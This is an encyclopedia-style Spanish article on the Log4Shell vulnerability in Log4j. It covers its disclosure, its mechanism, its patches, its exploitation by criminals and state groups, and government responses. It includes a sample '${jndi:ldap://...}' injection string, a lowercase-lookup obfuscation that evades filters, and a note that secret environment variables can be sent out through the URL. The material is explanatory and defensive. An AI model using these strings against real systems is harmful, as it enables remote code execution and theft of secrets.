Log4Shell ( CVE-2021-44228 ) es una vulnerabilidad de día cero reportada en noviembre de 2021 en Log4j , un popular marco de registro de Java , que involucra la ejecución de código arbitrario . [2] [3] La vulnerabilidad había existido desapercibida desde 2013 y fue revelada de forma privada a la Apache Software Foundation , de la cual Log4j es un proyecto, por Chen Zhaojun del equipo de seguridad de Alibaba Cloud el 24 de noviembre de 2021. Antes de que se pusiera a disposición un identificador CVE oficial el 10 de diciembre de 2021, la vulnerabilidad circuló con el nombre "Log4Shell", dado por Free Wortley del equipo LunaSec, que inicialmente se utilizó para rastrear el problema en línea. [2] [1] [4] [5] [6] Apache le dio a Log4Shell una calificación de gravedad CVSS de 10, la puntuación más alta disponible. [7] El exploit fue fácil de ejecutar y se estima que tuvo el potencial de afectar a cientos de millones de dispositivos. [6] [8]
La vulnerabilidad aprovecha que Log4j permite solicitudes a servidores LDAP y JNDI arbitrarios , [2] [9] [10] lo que permite a los atacantes ejecutar código Java arbitrario en un servidor u otra computadora, o filtrar información confidencial. [5] El equipo de seguridad de Apache ha publicado una lista de sus proyectos de software afectados . [11] Los servicios comerciales afectados incluyen Amazon Web Services , [12] Cloudflare , iCloud , [13] Minecraft: Java Edition , [14] Steam , Tencent QQ y muchos otros. [9] [15] [16] Según Wiz y EY , la vulnerabilidad afectó al 93% de los entornos de nube empresarial. [17]
La revelación de la vulnerabilidad provocó fuertes reacciones de los expertos en ciberseguridad. La empresa de ciberseguridad Tenable dijo que el exploit era "la vulnerabilidad más grande y crítica jamás vista" [18], Ars Technica la calificó como "posiblemente la vulnerabilidad más grave jamás vista" [19] y The Washington Post dijo que las descripciones de los profesionales de seguridad "rayan en lo apocalíptico" [8] .
Log4j es un marco de registro de código abierto que permite a los desarrolladores de software registrar datos dentro de sus aplicaciones. Estos datos pueden incluir la entrada del usuario. [20] Se utiliza de forma ubicua en aplicaciones Java, especialmente en software empresarial. [5] Originalmente escrito en 2001 por Ceki Gülcü, ahora es parte de Apache Logging Services, un proyecto de la Apache Software Foundation . [21] Tom Kellermann, miembro de la Comisión de Seguridad Cibernética del presidente Obama , describió a Apache como "uno de los soportes gigantes de un puente que facilita el tejido conectivo entre los mundos de las aplicaciones y los entornos informáticos". [22]
La interfaz de nombres y directorios de Java (JNDI) permite la búsqueda de objetos Java en tiempo de ejecución del programa, siempre que se proporcione una ruta a sus datos. JNDI puede utilizar varias interfaces de directorio, cada una de las cuales proporciona un esquema diferente de búsqueda de archivos. Entre estas interfaces se encuentra el Protocolo ligero de acceso a directorios (LDAP), un protocolo no específico de Java [23] que recupera los datos de los objetos como una URL desde un servidor adecuado, ya sea local o en cualquier lugar de Internet. [24]
En la configuración predeterminada, al registrar una cadena, Log4j 2 realiza una sustitución de cadena en expresiones de la forma ${prefix:name}. [24] Por ejemplo, Text: ${java:version}podría convertirse en Text: Java version 1.7.0_67. [25] Entre las expresiones reconocidas está ${jndi:<lookup>}; al especificar que la búsqueda se realice a través de LDAP, se puede consultar una URL arbitraria y cargarla como datos de un objeto Java. ${jndi:ldap://example.com/file}, por ejemplo, cargará datos de esa URL si está conectado a Internet. Al ingresar una cadena que se registra, un atacante puede cargar y ejecutar código malicioso alojado en una URL pública. [24] Incluso si la ejecución de los datos está deshabilitada, un atacante aún puede recuperar datos, como variables de entorno secretas , al colocarlos en la URL, en cuyo caso se sustituirán y se enviarán al servidor del atacante. [26] [27] Además de LDAP, otros protocolos de búsqueda JNDI potencialmente explotables incluyen su variante segura LDAPS, Java Remote Method Invocation (RMI), el Domain Name System (DNS) y el Internet Inter-ORB Protocol (IIOP). [28] [29]
Debido a que las solicitudes HTTP se registran con frecuencia, un vector de ataque común es colocar la cadena maliciosa en la URL de la solicitud HTTP o en un encabezado HTTP registrado comúnmente , como User-Agent. Las primeras mitigaciones incluyeron el bloqueo de cualquier solicitud que contuviera contenido potencialmente malicioso, como ${jndi. [30] Estas soluciones básicas de coincidencia de cadenas se pueden eludir ofuscando la solicitud: ${${lower:j}ndi, por ejemplo, se convertirá en una búsqueda JNDI después de realizar la operación de minúsculas en la letra j. [31] Incluso si una entrada, como un nombre, no se registra inmediatamente, puede registrarse más tarde durante el procesamiento interno y su contenido se ejecutará. [24]
Las correcciones para esta vulnerabilidad se publicaron el 6 de diciembre de 2021, tres días antes de que se publicara la vulnerabilidad, en la versión 2.15.0-rc1 de Log4j. [32] [33] [34] La corrección incluía restringir los servidores y protocolos que se pueden usar para las búsquedas. Los investigadores descubrieron un error relacionado, CVE-2021-45046, que permite la ejecución de código local o remoto en ciertas configuraciones no predeterminadas y se corrigió en la versión 2.16.0, que deshabilitó todas las funciones que usan JNDI y el soporte para búsquedas de mensajes. [35] [36] Se encontraron dos vulnerabilidades más en la biblioteca: un ataque de denegación de servicio , rastreado como CVE-2021-45105 y corregido en 2.17.0; y una vulnerabilidad de ejecución de código remoto difícil de explotar , rastreada como CVE-2021-44832 y corregida en 2.17.1. [37] [38] Para versiones anteriores, la clase org.apache.logging.log4j.core.lookup.JndiLookupdebe eliminarse de la ruta de clases para mitigar ambas vulnerabilidades. [7] [35] Una solución recomendada temprana para versiones anteriores fue establecer la propiedad del sistema log4j2.formatMsgNoLookupsen true, pero este cambio no evita la explotación de CVE-2021-45046 y luego se descubrió que no deshabilitaba las búsquedas de mensajes en ciertos casos. [7] [35]
Las versiones más nuevas de Java Runtime Environment (JRE) también mitigan esta vulnerabilidad al bloquear la carga de código remoto de forma predeterminada, aunque todavía existen otros vectores de ataque en ciertas aplicaciones. [2] [26] [39] [40] Se han publicado varios métodos y herramientas que ayudan a detectar versiones vulnerables de Log4j utilizadas en paquetes Java creados. [41]
Cuando no ha sido posible aplicar versiones actualizadas debido a diversas limitaciones, como la falta de recursos o soluciones administradas por terceros, el filtrado del tráfico de red saliente de implementaciones vulnerables ha sido el recurso principal para muchos. [42] El enfoque es recomendado por NCC Group [43] y el Centro Nacional de Seguridad Cibernética (Reino Unido) [ 44] y es un ejemplo de una medida de defensa en profundidad . La eficacia de dicho filtrado se evidencia [45] mediante experimentos de laboratorio realizados con firewalls capaces de interceptar el tráfico de salida con varias versiones total o parcialmente vulnerables de la propia biblioteca y del JRE .
El exploit permite a los piratas informáticos obtener el control de dispositivos vulnerables mediante Java. [6] Algunos piratas informáticos aprovechan la vulnerabilidad para utilizar los dispositivos de las víctimas para la minería de criptomonedas , la creación de botnets , el envío de spam, el establecimiento de puertas traseras y otras actividades ilegales como ataques de ransomware . [6] [8] [46] En los días posteriores a la divulgación de la vulnerabilidad, Check Point observó millones de ataques iniciados por piratas informáticos, y algunos investigadores observaron una tasa de más de cien ataques por minuto que finalmente resultaron en intentos de ataques a más del 40% de las redes comerciales a nivel internacional. [6] [22]
Según el director ejecutivo de Cloudflare, Matthew Prince , la evidencia de explotación o escaneo en busca del exploit se remonta al 1 de diciembre, nueve días antes de que se revelara públicamente. [47] Según la empresa de ciberseguridad GreyNoise, varias direcciones IP estaban raspando sitios web para verificar servidores que tuvieran la vulnerabilidad. [48] Varias redes de bots comenzaron a escanear en busca de la vulnerabilidad, incluida la red de bots Muhstik el 10 de diciembre, así como Mirai y Tsunami. [6] [47] [49] El grupo de ransomware Conti fue observado usando la vulnerabilidad el 17 de diciembre. [8]
Según Check Point, algunos grupos patrocinados por estados de China e Irán también utilizaron el exploit, pero no se sabe si el exploit fue utilizado por Israel, Rusia o Estados Unidos antes de la divulgación de la vulnerabilidad. [8] [18] Check Point dijo que el 15 de diciembre de 2021, piratas informáticos respaldados por Irán intentaron infiltrarse en las redes de empresas e instituciones gubernamentales israelíes. [8]
En Estados Unidos, la directora de la Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA), Jen Easterly , describió el exploit como "uno de los más graves que he visto en toda mi carrera, si no el más grave", explicando que cientos de millones de dispositivos se vieron afectados y aconsejando a los proveedores que prioricen las actualizaciones de software. [6] [50] [46] Las agencias civiles contratadas por el gobierno de los Estados Unidos tenían hasta el 24 de diciembre de 2021 para parchear las vulnerabilidades. [8] El 4 de enero, la Comisión Federal de Comercio (FTC) declaró su intención de perseguir a las empresas que no tomen medidas razonables para actualizar el software Log4j usado. [51] En una reunión de la Casa Blanca, se aclaró la importancia del mantenimiento de la seguridad del software de código abierto -a menudo también realizado en gran medida por unos pocos voluntarios- para la seguridad nacional. Si bien algunos proyectos de código abierto tienen muchos ojos puestos en ellos , otros no tienen muchas o ninguna persona que garantice su seguridad. [52] [53]
La Bundesamt für Sicherheit in der Informationstechnik (BSI) de Alemania calificó el exploit como de nivel de amenaza más alto de la agencia, calificándolo de "situación de amenaza extremadamente crítica" (traducido). También informó que varios ataques ya habían tenido éxito y que el alcance del exploit seguía siendo difícil de evaluar. [54] [55] El Centro Nacional de Seguridad Cibernética de los Países Bajos (NCSC) comenzó a elaborar una lista continua de aplicaciones vulnerables. [56] [57]
El Centro Canadiense de Seguridad Cibernética (CCCS) pidió a las organizaciones que tomaran medidas inmediatas. [58] La Agencia Tributaria de Canadá cerró temporalmente sus servicios en línea después de enterarse de la vulnerabilidad, mientras que el Gobierno de Quebec cerró casi 4.000 de sus sitios web como "medida preventiva". [59] El Ministerio de Defensa belga sufrió un intento de violación de datos y se vio obligado a cerrar parte de su red. [60]
El Ministerio de Industria y Tecnología de la Información de China suspendió el trabajo con Alibaba Cloud como socio de inteligencia sobre amenazas de ciberseguridad durante seis meses por no informar primero sobre la vulnerabilidad al gobierno. [61]
La investigación realizada por Wiz y EY [17] mostró que el 93% del entorno empresarial en la nube era vulnerable a Log4Shell. El 7% de las cargas de trabajo vulnerables están expuestas a Internet y son propensas a amplios intentos de explotación. Según la investigación, diez días después de la divulgación de la vulnerabilidad (20 de diciembre de 2021), solo el 45% de las cargas de trabajo vulnerables fueron parcheadas en promedio en entornos de nube. Los datos en la nube de Amazon, Google y Microsoft se vieron afectados por Log4Shell. [8] Microsoft pidió a los clientes de Windows y Azure que permanecieran atentos después de observar a atacantes patrocinados por estados y cibercriminales que investigaban los sistemas en busca de la falla Log4Shell de Log4j hasta diciembre de 2021. [62]
La empresa de gestión de recursos humanos y gestión de personal UKG , una de las empresas más grandes del sector, fue objeto de un ataque de ransomware que afectó a grandes empresas. [19] [63] UKG dijo que no tenía evidencia de que Log4Shell fuera explotado en el incidente, aunque el analista Allan Liska de la empresa de ciberseguridad Recorded Future dijo que posiblemente había una conexión. [63]
A medida que las empresas más grandes comenzaron a lanzar parches para el exploit, el riesgo para las pequeñas empresas aumentó ya que los piratas informáticos se centraron en objetivos más vulnerables. [46]
Algunos dispositivos personales conectados a Internet, como televisores inteligentes y cámaras de seguridad, fueron vulnerables a la vulnerabilidad. Es posible que algunos programas nunca reciban un parche debido a que el fabricante ha dejado de brindarles soporte. [8]
Hasta el 14 de diciembre de 2021, [actualizar]casi la mitad de las redes corporativas del mundo han sido investigadas activamente y se han producido más de 60 variantes del exploit en 24 horas. [64] Check Point Software Technologies, en un análisis detallado, describió la situación como "una verdadera ciberpandemia" y calificó el potencial de daño como "incalculable". [65] Varios avisos iniciales exageraron la cantidad de paquetes que eran vulnerables, lo que dio lugar a falsos positivos. En particular, el paquete "log4j-api" estaba marcado como vulnerable, mientras que en realidad investigaciones posteriores mostraron que solo el paquete principal "log4j-core" era vulnerable. Esto fue confirmado tanto en el hilo del problema original [66] como por investigadores de seguridad externos. [67]
La revista de tecnología Wired escribió que a pesar del "bombo publicitario" previo en torno a múltiples vulnerabilidades, "la vulnerabilidad Log4j ... está a la altura de las expectativas por una serie de razones". [18] La revista explica que la omnipresencia de Log4j, la dificultad de detección de la vulnerabilidad por parte de los objetivos potenciales y la facilidad de transmitir el código a las víctimas crearon una "combinación de gravedad, simplicidad y omnipresencia que tiene a la comunidad de seguridad desconcertada". [18] Wired también describió las etapas de los piratas informáticos que utilizan Log4Shell: los grupos de criptominería que primero utilizan la vulnerabilidad, los corredores de datos que luego venden un "punto de apoyo" a los cibercriminales, quienes finalmente pasan a participar en ataques de ransomware, espionaje y destrucción de datos. [18]
Amit Yoran , director ejecutivo de Tenable y director fundador del Equipo de preparación para emergencias informáticas de Estados Unidos , afirmó que "[Log4Shell] es, con diferencia, la vulnerabilidad más grande y crítica de la historia", y señaló que poco después del error comenzaron a aparecer ataques sofisticados, y dijo: "También estamos viendo que se utiliza para ataques de ransomware, lo que, de nuevo, debería ser una gran señal de alarma... También hemos visto informes de atacantes que utilizan Log4Shell para destruir sistemas sin siquiera buscar cobrar un rescate, un comportamiento bastante inusual". [18] El investigador de amenazas sénior de Sophos , Sean Gallagher, dijo: "Sinceramente, la mayor amenaza aquí es que la gente ya ha obtenido acceso y no lo tiene en cuenta, e incluso si se soluciona el problema, ya hay alguien en la red... Va a seguir existiendo mientras exista Internet". [18]
Según un informe de Bloomberg News , algunos se enojaron con los desarrolladores de Apache por no haber solucionado la vulnerabilidad después de que se hicieran advertencias sobre vulnerabilidades de amplias clases de software, incluido Log4j, en una conferencia de ciberseguridad de 2016. [68]
Apache lanzó un parche para CVE-2021-44228, versión 2.15, el 6 de diciembre. Sin embargo, este parche dejó parte de la vulnerabilidad sin corregir, lo que resultó en CVE-2021-45046 y un segundo parche, la versión 2.16, publicado el 13 de diciembre. Apache lanzó un tercer parche, la versión 2.17, el 17 de diciembre para corregir otra vulnerabilidad relacionada, CVE-2021-45105.
{{cite web}}: CS1 maint: bot: estado de URL original desconocido ( enlace )